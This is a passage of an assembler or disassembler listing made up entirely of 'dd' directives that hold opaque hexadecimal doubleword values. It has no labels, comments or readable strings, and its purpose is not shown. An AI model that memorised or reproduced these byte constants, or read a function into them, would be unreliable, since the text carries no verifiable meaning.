8BDEB49Bh dd 0E54DE991h, 0E124119Eh, 2E7CC666h, 0F57924BAh, 49998769h dd 18DD3A5Fh, 6BFC8387h, 0A5993E11h, 72E2C94Bh, 0FE7B7C89h dd 54310D71h, 0B64EB873h, 81B5CE91h, 3CDD7CC4h, 0B71F877h dd 0F7B7AF2Bh, 7120700Fh, 7901B3F0h, 883ECCB8h, 156890F2h dd 2B0D4062h, 0C22B4C05h, 4DF31380h, 7CB202C5h, 0BAA69585h dd 7A3AB153h, 0AB1DEA71h, 0B005E5A3h, 0D6874658h, 3C909C36h dd 6B49CF6Dh, 0BFA8A71h, 0D7C22BA3h, 3D84FF59h, 0DE616A90h dd 618D3F01h, 0CFFF6042h, 0B3B6DF3Bh, 0AE99B3DBh, 0B03CF501h dd 165EF055h, 2BB61552h, 54D3B19Eh, 0C4A43FC4h, 0B8AE799Dh dd 0DE382BBAh, 5D8B9CA5h, 38F751FBh, 258DD3D9h, 0B384515Ah dd 4E76D87Ch, 0FCCDA63Ch, 0A1A6AAA0h, 0DDB5E765h, 9F66F540h dd 0E846041Ch, 0EE5D8243h, 36387A7Eh, 2B7C503Eh, 55C6AB2Bh dd 449545C8h, 10A50EDDh, 5462B4DDh, 0C275D810h, 3B99FF6h dd 0FE708047h, 317000D2h, 9433A72Eh, 796304FBh, 5A1A6C02h dd 116FE955h, 7A63CE67h, 0D7F805D3h, 2FAC8187h, 0D87BA19h dd 7E51CFB6h, 56D7D37Eh, 52B929A3h, 7ACA14D5h, 66439FE1h dd 4F95DB65h, 0E2D3A57Fh, 0D1A35708h, 0F4557E88h, 70031E18h dd 4C74C5D1h, 34364B80h, 7A4AA7B7h, 0D190D920h, 0D936C063h dd 9ED17AFFh, 0E03544C5h, 1F6CC8D4h, 0BBB3E3D3h, 0E27A1051h dd 7639567Bh, 869CB5FAh, 0FF35081Fh, 83605209h, 36E51216h dd 0FAD9B75h, 0A83DCD66h, 0EA44A602h, 80EC2CCh, 5EAF3724h dd 0EBADA67Dh, 0FC346893h, 84C3ACh, 0E0D2130h, 2C739873h dd 13FEC6FDh, 0CFFF682Eh, 0F81B3E03h, 1BF65A20h, 195C7D86h dd 67863443h, 0B9F85CE3h, 0F1351591h, 6A750582h, 22902408h dd 42BE2B2Ah, 88A66004h, 84F2D8Bh, 0BD237D57h, 9E05969Fh dd 0A271DACCh, 34CF8DCh, 40A50E7Ah, 29CDC109h, 58E1D0EEh dd 31EA649Fh, 2516AB8Bh, 9C59F539h, 0C560ED50h, 9638009Ch dd 486C0E4h, 0D6DCEE02h, 0AF17BC99h, 1C924E22h, 5BE730A7h dd 0D3DC5BFFh, 0EF4DEDA6h, 5AF2368Fh, 0A91AE38h, 182234C5h dd 0C1D0CD2h, 2F5595Eh, 88E8E617h, 90E1F25Eh, 50F9D32Ah dd 0F1D6E2C4h, 0D09A5CF7h, 8FFF41E5h, 5C591D3Ah, 264A8C76h dd 512F51E3h, 71AF4987h, 1B6A8A90h, 0B4F9397Dh, 0CA8214BEh dd 28B1FA39h, 1C8C63F6h, 0F6D37811h, 9676AC68h, 311F1200h dd 0F791E8D0h, 9420A60Eh, 0F7D4B66Fh, 0C4814B1Ah, 0F039B5BDh dd 408470F5h, 0B84B73CAh, 0ABFC546Eh, 951E77C4h, 4D4644CAh dd 9B921D38h, 4EF2764Fh, 3D3B8F17h, 0E633EED9h, 5015A974h dd 5DCF5458h, 49AA4504h, 9BD83913h, 0DA58ADFh, 11B3425Dh dd 0CF2041B4h, 74D3C81Fh, 0BF1E23A7h, 0C136DCF9h, 21BBB7BDh dd 0ACB772A9h, 0F94F2CC9h, 70B10FBFh, 4BDC6E1h, 543518A9h dd 0B1DE2B77h, 445CA226h, 0D7059488h, 1716E8C1h, 80C6C6Dh dd 22F966EEh, 0B1B6850Ch, 66C95DF9h, 0C62FB9FBh, 9FB62681h dd 0FA1E5228h, 0E03B2B40h, 0FDB337Bh, 0D4517C5Dh, 50E72A55h dd 948C8864h, 9CFC43E8h, 16A9EC02h, 0D1E7049h, 6F1EA1D7h dd 0F999135Bh, 2A42392Ah, 760BD90Ah, 423E1466h, 203372C7h dd 7A08EA14h, 0DF464614h, 59EEE412h, 0C932B4F2h, 5B6B66CFh dd 0F5B193E6h, 11A1C684h, 5A2B16E5h, 3F39EBA1h, 0ED182B9Ch dd 0C10E8D8Fh, 20E10B4h, 0D4A55F78h, 668F24D8h, 1EF1C99Fh dd 4210B5BDh, 0A425291Ah, 19EE2C93h, 0B8A737D0h, 0C2FBBFD6h dd 7B23214Fh, 6F67EB48h, 0BF5D43FFh, 26C570BEh, 8E87865Fh dd 0D1B8D1A1h, 0C199DEB5h, 29199E6Dh, 0D08DC035h, 3A37B42Ah dd 0BF3853C2h, 0BB9F5AD7h, 1C041FFDh, 34C00C93h, 0F621EF17h dd 934073B2h, 0C7DB01Dh, 0D1C11B6Ah, 2963CA4h, 5C25C68Fh dd 7C125E6Dh, 0E41EEED3h, 194DD5BAh, 73CF002Dh, 0A5FCF24Dh dd 4D79CA26h, 1A4C6F12h, 9CE58AEAh, 0C1886520h, 742F8D4Fh dd 0D9544C00h, 0BEB00F3Bh, 0F5B559F1h, 0C33D98DEh, 31A2440h dd 0C8FFA9BCh, 0F8523EDBh, 35B0526Ch, 41665B35h, 0CED6C31Ch dd 0D8A31DDEh, 32CE500Dh, 0AA6C6AF2h, 0C3B7ED09h, 14F33021h dd 0AB5DBE58h, 0A0DA2034h, 1FA21375h, 0A2CFCCFEh, 0D31182BFh dd 7F41913Bh, 67C81806h, 87C0F407h, 0DD34A9FAh, 0EF7FABA0h dd 0A3B902EEh, 0FCD72163h, 7F922A5Dh, 9539C0B0h, 314A1F7Bh dd 4E7D7E91h, 0B00A104Ah, 0E9C86EDEh, 792F0724h, 90D287D5h dd 710F5DCBh, 0A453792Ch, 934283B2h, 198C93C2h, 8FDEBBA5h dd 71C53F71h, 9D82D818h, 0F133BAEAh, 5BEDCFF2h, 400887A4h dd 0A50380BDh, 3741C75Eh, 8501AD19h, 953D17E9h, 0D314EFC9h dd 0AFD3A0A3h, 0CAEC990Eh, 0F41AC763h, 84EDEED2h, 0F09BAD43h dd 797DD344h, 0C33A381Fh, 3C65E5F3h, 0C173297Ah, 0A186932Bh dd 333EC08Ah, 0F6A4F2D4h, 0CD92F406h, 246E42ECh, 7FE503DCh dd 599112E8h, 0D3C12F9h, 702BCAAEh, 98F9547Ah, 3321513Ah dd 0A3009BCCh, 640E50AAh, 3A5E605Ch, 0B8A1E396h, 988C4D26h dd 6A317DF8h, 8732279h, 5705C5B9h, 19497800h, 97DF454Fh dd 2C9DF4F6h, 1F0CD437h, 71596CD0h, 40222DFFh, 1A9E59A0h dd 85F667EBh, 0D47239CDh, 479E82ECh, 0ACB9237Eh, 0D91B1F74h dd 829859EEh, 7D91FEC6h, 0FBA5BF49h, 0F6028F31h, 0E8AE33F9h dd 0DB7DB6Dh, 2B1C9507h, 7524D362h, 9514D098h, 8C2FAA1Ah dd 0B42135F0h, 7B409ECDh, 56ED1CC5h, 0B67B8E6Ch, 17B74DA3h dd 0C3BB87E4h, 66E327D1h, 87CF8AD0h, 0AF39F422h, 9585C6F1h dd 45132C87h, 8C9F5750h, 0C0EBFA38h, 7CD59835h, 0AFC461C6h dd 3E275A12h, 8F6C77DEh, 0ED3674A3h, 7FDAD0C7h, 8E01501Ah dd 2F8A4118h, 0AAD48754h, 95D30F8h, 9A343051h, 73C09AFEh dd 1401173Ah, 2A43C099h, 43C12FC3h, 95965397h, 51F22F56h dd 9ECD634h, 0FCA3D637h, 8CB61B5Ah, 124F7033h, 0C7A95A65h dd 75126E52h, 124A705h, 191A7B83h, 57C8C454h, 2B8EE9D0h dd 8115EED4h, 0E386B65Fh, 2C351F2Ah, 1B19421Ah, 0E67B2CF5h dd 73A92560h, 0B18DD30Ch, 792F1A1Ch, 0CE54B9C5h, 0A15C4986h dd 442EFAB8h, 0C83D93F8h, 8C2515B5h, 2B987A59h, 488C70F8h dd 3549A699h, 1566FF68h, 0E4356B02h, 9A25C779h, 8E8206E3h dd 9FFC8723h, 0D095E658h, 3F6275F9h, 0A6C57231h, 77ACBE78h dd 0ED3D98A5h, 0BA4AB82Ch, 552B41A0h, 0EED0690Fh, 0AC7F6FC9h dd 80BE8D08h, 0DF92CEECh, 47895F6Dh, 4269C5EDh, 0E821783Dh dd 4F18392h, 15697142h, 78321FC0h, 72143942h, 0DB16431Bh dd 85473980h, 4A62B6B7h, 3EEE6142h, 78169E5Bh, 0E8F5B8D8h dd 4742DBB5h, 12846877h, 74C6CB7h, 58C0E5BFh, 745177Eh dd 0DC5FF464h, 0E5F1875h, 0ED779273h, 3116C7CCh, 6044550Dh dd 6715EDE2h, 0EB1D673Ah, 5CCA2685h, 62DE210Ah, 0A827F407h dd 6FA44540h, 878A5D11h, 3C1FCE14h, 74447FFBh, 558D016Fh dd 1DEC0552h, 14B9AD73h, 0CB4A28Ah, 0D38995BDh, 0A921A7C2h dd 0CC5F428Ah, 935974B1h, 43B57912h, 0E9E4338Ah, 0E1F1004h dd 0C0B5172Eh, 44C51F9h, 237FDDDDh, 0B4D5EF93h, 297FD8CEh dd 6C4722C1h, 0F827EBFh, 0A4B15106h, 3F629504h, 0F94F3481h dd 0E227AC16h, 0E7CF7B43h, 0E6751585h, 7F3A6E9Bh, 9E5538A1h dd 2193B07Bh, 9C9147DAh dd 3FA3FDDFh, 6E6C64E5h, 0E83F3AA4h, 3C8BEC87h, 0E196C317h dd 1D1FCD64h, 3ED231F2h, 28DDF7C6h, 0DD52CB06h, 0A5371045h dd 0DBB81E3Eh, 0C193B8A0h, 0CEF75C82h, 4B61228Bh, 83A83968h dd 5B1CDEEAh, 91035510h, 2F095C81h, 3F6D7ABBh, 0DFF0CB0h dd 0BB0DD841h, 129CF4C5h, 188B6C56h, 0FE80B5ECh, 369B9D6h dd 862240F8h, 0BECE10FEh, 0B72A6C54h, 94A299E6h, 1DBD1C82h dd 0E65856E2h, 0C2DF7860h, 72D041BFh, 621E10E1h, 300C0BC4h dd 0C370C2A1h, 0C8EAF0C9h, 0CEBE49D7h, 0AC9534F1h, 7C9D6F5Ch dd 9AA44EB8h, 0F317CB4h, 2261BC18h, 499EB417h, 0FB534257h dd 279A89CFh, 0A0BDD32Ah, 2407B42Bh, 7A78CE8Ah, 9E030191h dd 0B41948CDh, 0D76E1859h, 90EE5031h, 8E7EFC85h, 0CE38D959h dd 20098983h, 0C5472352h, 0E8D4DAF7h, 0B2E4DD54h, 50A61754h dd 838B1A97h, 79A908B0h, 9067F0E9h, 0CD0B6006h, 0D71F68B3h dd 0B121D725h, 10D6D432h, 0D9B69812h, 34C235DEh, 63B6E720h dd 0F2EFC819h, 0D2B9DCBFh, 7EC3CFABh, 27515F93h, 7DAC427Ch dd 0AC556D39h, 4A27AFD8h, 0DBC88125h, 406080E6h, 2D30A714h dd 0B7D78BCh, 9B6C82C3h, 83471B91h, 0C6B3791Fh, 0EE2DC8C2h dd 9DF1512Ch, 0E85868C5h, 91490007h, 47A4960Fh, 224B65Bh dd 2586548Dh, 46E9A584h, 7EC56F5h, 9D02C2C7h, 702C5E1Bh dd 110C84CCh, 0AA59A077h, 4546463Eh, 0FDDBF155h, 0C82A2391h dd 756C2EEh, 216E0053h, 2FA6ACh, 3842624h, 0DE18A86Eh dd 0D1DE77E6h, 1BA2E297h, 0B5A24DBEh, 7F75A1Dh, 0F9C41D2h dd 3F7FED4Bh, 492AC721h, 0F78A619Fh, 934E5F7Ah, 0F71664Ch dd 4C14CBAEh, 49313C42h, 0AA54ADE7h, 0EB1926F1h, 73D8BCAFh dd 138A4DA2h, 6D6622A6h, 6D70C4FEh, 0E14A8AA9h, 0B25B5DF3h dd 0DDD881FEh, 2068435h, 953ED9BEh, 0B9550FD2h, 280AA5CBh dd 9E438963h, 0C897AAFDh, 0D19D615Dh, 6FF7EDE6h, 4E859860h dd 0E7018B30h, 0F506ED53h, 9E5C2ACFh, 22CA021Ch, 0F058DC6Ch dd 0FEC85FD3h, 4B345C77h, 4AEC5973h, 7A5B2946h, 0C4C4473Bh dd 74151990h, 0CA93FDB5h, 851183F2h, 4E2E2EF9h, 0B0F9B569h dd 7426B596h, 9C116C06h, 0ACC78EC4h, 6DCB744h, 16303F7h dd 0CAA60898h, 91A7D514h, 0A62716E2h, 0B10B6526h, 0A08E3035h dd 20CAF24Eh, 2F8EEF7Ch, 91A733CEh, 0A56E874Eh, 90DE908Fh dd 3636D151h, 0B3915EC2h, 0D923E7ABh, 0B6D0AD40h, 146F15D2h dd 1601BFF8h, 0C00763DFh, 8899C256h, 74F00E97h, 0CC8D397Dh dd 2B2918ECh, 1BFA64A2h, 16FE6556h, 0EC54F31Fh, 18CB24F2h dd 373AC944h, 65B0B076h, 21830634h, 158CF2E5h, 8041340Dh dd 5934866Fh, 0F4DDBC31h, 315E080Ah, 0CBD6F9E0h, 4B2D32B0h dd 0C64EB99Fh, 0E97A5810h, 0B0C244BCh, 6CFC49F6h, 0EC9C9785h dd 270F55C6h, 3C48BE1h, 1BE5E4A7h, 0D2F958DBh, 0C64EC235h dd 14A39F4Ah, 0E2F47808h, 0C308D618h, 0E888994Eh, 6305BA7Ch dd 0CCFF7770h, 0C0E40870h, 4D0DBE74h, 0C72E7A38h, 2E5E755Eh dd 54470634h, 0E0EF90C7h, 9EA652DFh, 0F2BDCB1Dh, 7B9925A9h dd 0DBF1991Ah, 0B0EFC506h, 0CE5944C9h, 0EFF14AC9h, 0BA4419C8h dd 6FFB7EFEh, 455413C8h, 4A98645Ah, 0B1C78A2Eh, 0A01BC8B8h dd 0ED735B0Dh, 233EA31Dh, 0E59FBB68h, 36D13B7Ah, 608453BFh dd 0BA0E45A7h, 9A88DE00h, 7A7CD1F9h, 0D277419Eh, 6945B1AAh dd 0F4621FA9h, 0C1620FCEh, 71305662h, 25A1036Bh, 43E35812h dd 0A144A010h, 5935C4Bh, 13B5A920h, 888D5ECCh, 0C08B12BCh dd 0DA44EB77h, 0DB044528h, 35E7D709h, 14E6C22h, 0CD8CB640h dd 2E04DEA9h, 0EFB77E54h, 0B53B5C93h, 16CD040Ch, 677989B3h dd 7D3E839Bh, 0D72F43D9h, 40A69EBBh, 0D8CFA295h, 656903E1h dd 64152E0Eh, 0AA6D70CEh, 4F9F102Ah, 0B13D022h, 0DE8A16BBh dd 0BCFE175Fh, 12AAA169h, 3F2BF3BDh, 57BB0BA5h, 78F3B8F9h dd 36AE671Bh, 6F8D3224h, 532F3AA3h, 820767F5h, 4FF3DB68h dd 9C0C7674h, 0EFE9CCAFh, 532826CCh, 0FAA78667h, 52EC27B9h dd 0BF482C57h, 100B6B4Ch, 0A0D9EF21h, 2B7AAA6h, 0D11449D6h dd 0EB224C1h, 33E174F7h, 0FF6EA782h, 270E8F19h, 4F98690Dh dd 0D29C4C0Bh, 1B508A25h, 0E4FF8BA9h, 7694E2A1h, 91103B0Ah dd 190AECC0h, 1CBDC267h, 0F0A89FBh, 0C568F123h, 3000DDA0h dd 2229C7BEh, 5E11BC3Ah, 64EB2ECh, 22C16D2Fh, 0AB99BDFh dd 0F1BDBC52h, 4A934157h, 25B2737h, 965C592Ch, 9FC593C7h dd 8F25CB91h, 0BB37B8h, 9443EED3h, 71A86837h, 631170CBh dd 4435B812h, 0FCD61Eh, 0AF870019h, 996150D8h, 77AE3D43h dd 926FF266h, 79851AE4h, 5E514ECCh, 0C33F2CAh, 57A7E91Fh dd 0F2B6656Dh, 0B3A7CA2Dh, 5E3B9EF6h, 1F7BF7A4h, 0EEE7400Dh dd 61542813h, 0C610A19Eh, 0A603970Fh, 0EC87E408h, 99C20682h dd 3499C1B9h, 0BFA3AF1Bh, 0F70DFDF5h, 6096D79Ch, 519FC8F4h dd 3A7A8415h, 3AA4C39Eh, 5DA75B8Bh, 55566646h, 387D21C2h dd 0EF0B938Dh, 30A9A28Ah, 0C5437CBAh, 2D0471A5h, 250CBD82h dd 28B0FC35h, 72BAFD09h, 75FCB30Ch, 0EFA53947h, 0E5C69695h dd 2E0BB615h, 0BC15C85Bh, 0FA3F58E5h, 242DD86Fh, 621F29B5h dd 0FFD325A6h, 0B808CD92h, 25DF6F00h, 1F2D3BFCh, 1DFF307Dh dd 5576F5F2h, 0BFC480Dh, 6713E61Ah, 9B52F77Dh, 9ACF81Bh dd 0E41CDB1Eh, 576CD92Dh, 57D873D1h, 76AAC50Fh, 0DE10A498h dd 0CD9F99DAh, 535B5FFBh, 0ADA78BABh, 82A288E4h, 4E961ED0h dd 84D7E740h, 80AC8E5Bh, 98D63C3Dh, 1DAF5BEh, 57C980DAh dd 0E991702Ch, 0E40261A2h, 4136A006h, 606AA28Bh, 0AB4BA723h dd 0FF214F0Ah, 0BD037FCDh, 60DF5271h, 0D513898Bh, 50D6DE8h dd 9EE5A076h, 0E4700E02h, 4E20CBFEh, 0B60C912Dh, 0BA4ED351h dd 5C28E10Fh, 4E26A7EFh, 8F07919Fh, 2F033648h, 1A326E65h dd 0FFF5371Fh, 0FD67724Eh, 6F5AA1DBh, 5FA1F5FFh, 93029FEh dd 91ED7177h, 12641AB7h, 243CEF1Bh, 0EFB580B6h, 69289296h dd 5CEAAB26h, 0A81292DFh, 0C986385Fh, 0F77B26Ah, 0E8FBA8FFh dd 896B706Fh, 88639CFAh, 0B9B1C09Bh, 2B19696Dh, 0FE525666h dd 0A1F3E059h, 0DF2D8524h, 329D3F46h, 0FD97C7B1h, 5988BFB6h dd 0DE5DF54Ah, 27ABC044h, 0EB73AB30h, 4D1B2191h, 0E91F14AAh dd 732F5932h, 0DFAEA09Ch, 9C74869Eh, 0DA3A6729h, 38D91C88h dd 0AAA1842Dh, 0C559D592h, 77E81A6Dh, 2CDBB0E5h, 9090734Bh dd 5DF87454h, 9FF414DAh, 7362F686h, 974F313h, 5BB3DC15h dd 0A79233FBh, 0C4AA937Eh, 7ECD89FEh, 2910E253h, 344AB0BDh dd 0BAEA191Dh, 0DAAD9909h, 979338DEh, 8E98E121h, 0FDD804BDh dd 0B9530C21h, 0E71528E4h, 0CC5CD69Ch, 6467396Ch, 2A64935Eh dd 8F8341FDh, 0BF70355Bh, 0DE75FEE0h, 5E342E77h, 47256771h dd 0DABDE298h, 0E43E3669h, 6443B69Eh, 38819B0h, 4D498A6Ch dd 184134EBh, 63534358h, 41A35847h, 115CD02Ah, 63D9E9E1h dd 7E5C6857h, 84ED955Ah, 0F5762C7Bh, 801C5DF3h, 20625318h dd 0EA329CD3h, 64DE5DD3h, 0CB98950Ch, 563F47Ah, 0EDE80ED1h dd 4D6EAEA2h, 0F4B3ACF1h, 0B4381C0Bh, 0D1C15B52h, 9BB93FEDh dd 56DB0E46h, 0FF88DF2Dh, 0A27F69A0h, 0F795B9FAh, 0EA05C3A2h dd 7C6DA3ECh, 7744264Fh, 9DACE13Ch, 0B1AC412h, 3C1AC654h dd 650F242Ch, 0D3B1D50Dh, 76582008h, 0B4FBAF26h, 0F9795AC8h dd 0AD8F463Fh, 1CD7FA6h dd 0DB2E8690h, 0AB7C9539h, 1ADDBED7h, 341813AFh, 0B29D9659h dd 72520708h, 0A3D06E3Bh, 1C21DD9h, 0A5E8D707h, 87D008F3h dd 792EF715h, 0BFF3DBAAh, 299193A3h, 90ACE600h, 0E27B58BEh dd 595B52ECh, 0CCE34F26h, 70B2C057h, 0CBFD170Eh, 5BBF1F44h dd 4E6C6AACh, 0B9FF0871h, 44CD4DF9h, 1383412Fh, 0C2EA1C16h dd 0DDF61D2Dh, 258694FEh, 0E1AA5342h, 8F1692FCh, 6B4704B9h dd 0CA85D411h, 795BC3EFh, 725F89D6h, 93D86E5Ah, 0A35828ABh dd 0E1EA127Eh, 0F3B76475h, 0C7A857B5h, 0BFD2C59h, 0FF47608Fh dd 2605BB7Bh, 4C4BE713h, 2B5AEA1Fh, 0DAACFDF7h, 61B41320h dd 65DF2A94h, 17404CE1h, 13F9C8D4h, 0BAA4F525h, 5BE4D971h dd 43F38AA8h, 5111DC84h, 2C91E860h, 0D5D3B1AFh, 0DCC109DCh dd 7B233D6Ch, 0DD505579h, 0B697A7C5h, 5DDBDAFEh, 0CA8DA451h dd 8FB6B0CCh, 0E23D88BDh, 2EF83536h, 1494C717h, 0D35FAFA6h dd 65A05D35h, 981869F9h, 3FBD8790h, 0B4DBEB48h, 647BA748h dd 0E34F9FCEh, 23BFE961h, 0A61C551Ch, 0D267C0B6h, 92310DA1h dd 0FCF46848h, 8802C556h, 8A06C879h, 265693CAh, 8919A125h dd 39436CECh, 546EEABFh, 4B033F20h, 2DCA559Dh, 0C59E3F22h dd 8E19F201h, 13272F19h, 1DC2102Bh, 72892970h, 32DA119Eh dd 0E82433A0h, 0DA58F47Ah, 759A3244h, 15981EBAh, 7984976Ah dd 0AD73B7B4h, 267C9CE8h, 0CF57C75Bh, 0AAEF0988h, 0C7C33032h dd 0F564E782h, 401E823Ah, 789FBD4Ch, 0B896895Ch, 8ABE31D5h dd 0C8ABDAAh, 96C820CDh, 565F9208h, 0C3536744h, 0EDDD848Fh dd 0A23DE244h, 7EC8054Bh, 4C14DFD8h, 35B54F9Bh, 0ABDC29D7h dd 773DF13h, 9C1F88F5h, 0D8CEFED2h, 0C2E86866h, 0DB6D0AE8h dd 294BD671h, 5DEDF942h, 5A3D2761h, 985B769h, 0EAEC32DDh dd 5A10DB1Eh, 2DA040DFh, 362FB5CEh, 70111822h, 0E80F04E4h dd 0C10A0D8Eh, 2EE9E42Fh, 0A11EACBCh, 0A076B303h, 6793390Eh dd 20C944EAh, 8765FC93h, 4D73F4D7h, 0F614065Ch, 16804D46h dd 1ABD4652h, 9C476F96h, 0B54C4361h, 0BDC78F11h, 7810E6CDh dd 0E29F032h, 5C190812h, 68B34AB8h, 0C8E0B6ADh, 0CCBEA631h dd 0BF406CA5h, 0EB8ADC4Dh, 0C2BB5AA3h, 2709E29Bh, 3434837Eh dd 0B2B90AB1h, 30874ECAh, 25D3A89Fh, 2673BDh, 0FFC77954h dd 0F0DBA7FFh, 0FDDC1844h, 69F222C8h, 969B6BCAh, 0BC7DF7BBh dd 45C9ADAAh, 2BC81E87h, 8F36D26Dh, 180CE84Fh, 261491EDh dd 91584D0Fh, 28EA1191h, 0D7627CEEh, 600FF786h, 0D5A6D7ADh dd 40D88D91h, 94413410h, 0D1AFE743h, 0A4B42BDFh, 0F130CF37h dd 0A81511FBh, 2DBE0209h, 289323E0h, 1FCB1E47h, 0BF86B446h dd 0CDC7BE2Eh, 26117034h, 0A6B67FFFh, 0C119104Bh, 28023E75h dd 557DE533h, 0D30A7A2Dh, 65ED876Dh, 0B828E751h, 9397BEF2h dd 80A8715Ch, 413E9140h, 82A5D59Eh, 0C1E936F2h, 0E45AC7C6h dd 0C43BE90Bh, 857D26D1h, 605B0E4Ah, 8459F82h, 8A3E1B1Bh dd 1AA6E071h, 68D5D976h, 7377673Bh, 0E6C32D8Eh, 96492A78h dd 642A8A56h, 855E1BE1h, 8B8E9847h, 7B390972h, 0AD6C03E0h dd 34AC2F53h, 0CE32FF9Eh, 5B6E49AFh, 0D6F44B9Eh, 73431E27h dd 0DDDA4680h, 796BB9B7h, 9D4DC390h, 1340892Eh, 5703DD54h dd 61ADE932h, 8F72048h, 0B675F60Bh, 3FD5DA67h, 7B95A721h dd 254DC663h, 4D2186C2h, 0BB14C699h, 0BAED8F01h, 0CA2304A5h dd 0A0B2BBC4h, 3038D9EAh, 554CCF40h, 10521D28h, 0B26AD4DDh dd 103F59C2h, 80F7D371h, 6D39E798h, 0D2ABF1D7h, 0DEC3D32Eh dd 0A25CBE9Fh, 0C78EDA7h, 1A5EC330h, 7B0B9B45h, 9A1BB7A8h dd 88EBF1D9h, 6A03444Eh, 0BAB02363h, 0E41D566Ch, 43AC71A5h dd 0FC31C207h, 4A04CDA8h, 84FFEB52h, 0AF7C45E9h, 1016DACBh dd 1102CD1Fh, 96C73AC6h, 7E8AB643h, 1C061BF6h, 41277321h dd 0DCF84090h, 0FB43C6BBh, 0D98902E5h, 8C58AA6Bh, 0BD4A4B64h dd 9A7A82BEh, 5AF2A900h, 0CE56D4ADh, 0AF78BB98h, 8A6C00A6h dd 92805201h, 2EBC9C3h, 55454B35h, 0FC82589h, 79A7F060h dd 86492D5Bh, 22B47802h, 476962E1h, 0BA164923h, 0B5CDB973h dd 0D305D64Fh, 0D6EC0917h, 72EC8B46h, 0F0C987A8h, 66D596CBh dd 9ACA7E0h, 20F3AA00h, 5EF59074h, 16E21BC5h, 616F2315h dd 7F4470F4h, 974DFCEBh, 6F3F7182h, 52431DA6h, 1A7C2DFBh dd 3A30CBD0h, 0D198DDB7h, 0AA3A4D8Eh, 2DAA3F37h, 685B1169h dd 87DEDC5Ah, 71782755h, 30C6810Ch, 0BCD38243h, 2D0197AEh dd 0E283350Fh, 0DC1B2D8h, 9C58427Ah, 65FE2ACCh, 755C53C7h dd 200FBFCAh, 1BF2D575h, 570D93A4h, 0E8DE7B26h, 0AB96D02Fh dd 7138E96Ch, 0ECB7B148h, 0FB8BBD21h, 0AE25F911h, 679BAB1Fh dd 0AF48728Ch, 0BCD4F172h, 0B20F056h, 3A5F806Ah, 27138855h dd 0ED2CF3D1h, 0F3E95F06h, 0A0097831h, 54AA0538h, 9BC7B302h dd 229760CEh, 9E2C23FAh, 53CAEAD9h, 0ABE16A5Dh, 3C42E54Ch dd 98B76EAEh, 0BFB91930h, 41E9C3D8h, 382AE4Ch, 8B89E0DEh dd 971DFCB1h, 7801ABA9h, 1BD2C127h, 2CAD362Bh, 7E402B56h dd 0B9C8A46h, 0AAF152Ch, 0ADA7E4A6h, 8CC183Ch, 0E7E70A28h dd 0F731FA1Ch, 0CF1DAEA2h, 0BA339FBCh, 4D3E94F1h, 0E22CE8B0h dd 559EF654h, 21A56B06h, 0A83FE6A2h, 636C616Fh, 0B61F76ADh dd 373AA061h, 0F9725DD7h, 0FC66DCB7h, 0E8CFD5FCh, 22CFC04Ch dd 186E7461h, 6FF2285Ch, 0C39129Dh, 3AB637B7h, 0E5E4A8FCh dd 0B48C356Fh, 0FE51236Ch, 0A110C912h, 0A75C638Eh, 6BB30ACAh dd 683D67FDh, 216924B1h, 0C27531DEh, 0B88C4940h, 0FF67BE01h dd 794AB4B3h, 0E5567511h, 0A015D7F7h, 2EC1DCA7h, 3E2CE1C6h dd 73696809h, 0C46119E3h, 7AAF34EAh, 0D7D652CBh, 41932130h dd 1FA611E5h, 1A8AC30Ah, 0C06EA740h, 774092F3h, 0BE74FCEh dd 185B649Ch, 1A2CA1E2h, 0B1F30E61h, 5777EBB8h, 363EDAB3h dd 0BB0608D0h, 0E4B68345h, 5282D600h, 18FDD977h, 0BC0110EEh dd 65E18BA8h, 11AF18B4h, 9C6DB73Ch, 0D340EC1Eh, 7E8EE5ECh dd 40F0F6B7h, 24DC647h, 24A7B23Ah, 239BBC4Ah, 0E1FA73BEh dd 5E581F97h, 83E92355h, 908211AEh, 0DFCFF431h, 21EA4AABh dd 6A19D1B8h, 88D1EE54h, 0FE31C77Bh, 0FDE91BF5h, 0A433E573h dd 5AF09829h, 9BADAA49h, 8E2D858h, 0D2DE361Ch, 0FFD4B3A8h dd 120562D6h, 2451AFC1h, 1ECE0AA0h, 0BF03FAD4h, 0E1A07507h dd 1E8E4D24h, 0DE639207h, 0BD9992D7h, 4B36C5F3h, 0B03843B6h dd 0B90FF5D2h, 0C6619513h, 1E6B1F84h, 8A596404h, 0FB98AD1Fh dd 9DE9E797h, 0CE46AB98h, 8DCEFDF5h, 993448EAh, 963C8A6Bh dd 0EE9EFF3Eh, 1ED38416h, 0F332713Eh, 0FC12214Dh, 0ABDA4CABh dd 0F1240AEEh, 7E141A42h, 2785528Fh, 0DED62CCCh, 48BDA31Fh dd 0EE230EB1h, 53FEB148h, 8416CBFCh, 5E8887BBh, 4F1817F9h dd 0B3D836F6h, 432030ADh, 551C6BDEh, 0C7714ABBh, 0E5C9B8C8h dd 0C4DE4195h, 0B00683DCh, 0CB905DF4h, 7B1F07F8h, 648E81CDh dd 0CD88AF95h, 7160596Ah, 0E5F30AF5h, 0A3B12CE6h, 0B88F53F9h dd 1939DA3Dh, 0D226E8BCh, 466F2B7Ch, 64E2B3EFh, 1FFBA730h dd 98614DCDh, 0B05E3B41h, 9745AA4Eh, 0DCEEECDBh, 92EA7BB7h dd 0E51B99E0h, 2DE81672h, 729E2399h, 0EA7D3FBCh, 82BB0907h dd 2C311FA1h, 0BBB93248h, 0BC3C19E7h, 0D7C3D4Ah, 73DDE6Dh dd 6B5CF44Ah, 53923554h, 0CADD8710h, 2568AEACh, 0FC1C97B5h dd 0FE86BC58h, 0DC6A95F5h dd 33D5749Eh, 0D1968601h, 10E99A73h, 9A6218EBh, 0A1C09A84h dd 5765B5D0h, 10093F15h, 20E2143Bh, 0A6A971B4h, 830EBFAEh dd 0AA3938D2h, 3582BCF6h, 0DF60B359h, 0F9CC427Fh, 3AFFFE36h dd 7D6C9CFAh, 4D49D1D3h, 411F6B3Ah, 62666431h, 5A41F534h dd 7C474510h, 0C196AD66h, 7276D8FBh, 68D2AEADh, 0B32D735Ch dd 0B65AEDA9h, 0F69B13A8h, 0F0C7F3CCh, 0E62126h, 0BBBECF8h dd 0E6E9C5BEh, 0AACE190Dh, 6DCB6AAEh, 0A1C56183h, 0B5793528h dd 0AD681DCDh, 6D5CDDA6h, 1C97BC48h, 6F4E355Eh, 33531811h dd 0B3CA2453h, 0DAA5EE55h, 0AEAD1CC2h, 8A0A1F55h, 0EE9A18D3h dd 2887783Ah, 0F6991AB7h, 4701276Bh, 0F3425A8Ch, 298B425Dh dd 54AA3870h, 0DFFDFD56h, 46DA897Eh, 9C773A6Eh, 57BB825Ah dd 2B503AA2h, 